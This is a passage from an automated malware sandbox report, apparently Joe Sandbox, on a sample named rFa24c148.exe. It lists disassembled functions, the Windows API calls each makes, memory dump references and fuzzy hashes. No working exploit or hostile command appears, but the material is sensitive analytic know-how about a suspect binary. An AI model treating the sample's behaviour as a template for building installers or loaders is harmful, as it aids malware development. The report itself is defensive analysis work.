Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,74DEFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 0040586D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 0040587B
CharNextW.USER32(00000000), ref: 00405880
CharNextW.USER32(00000000), ref: 00405898

Strings

C:\, xrefs: 0040586E

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction ID: 0e45d3d7899051d123986adb95df4b68677bfc9f51f839bc1fffa0be8c86f108
Opcode Fuzzy Hash: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction Fuzzy Hash: ABF09013910F1195DF3176584C55A7B6BBCEF54361B04C03BEE42B72C0D3B84CA58A9A

Function 004057C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057C8
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057D2
lstrcatW.KERNEL32(?,00409014), ref: 004057E4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C2

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6d7e1b30bb844f15b9b36030bcc4b7738a51439c8837860c8faeba4cfa6a7ffc
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: 81D0A721505930AAC2127B448C04DDF73ACEE45340340483BF600B30E1C7781D418BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402EE5,00000001,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 004036AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,00403684,004034C6,?), ref: 004036C6
GlobalFree.KERNEL32(?), ref: 004036CD

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036BE

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
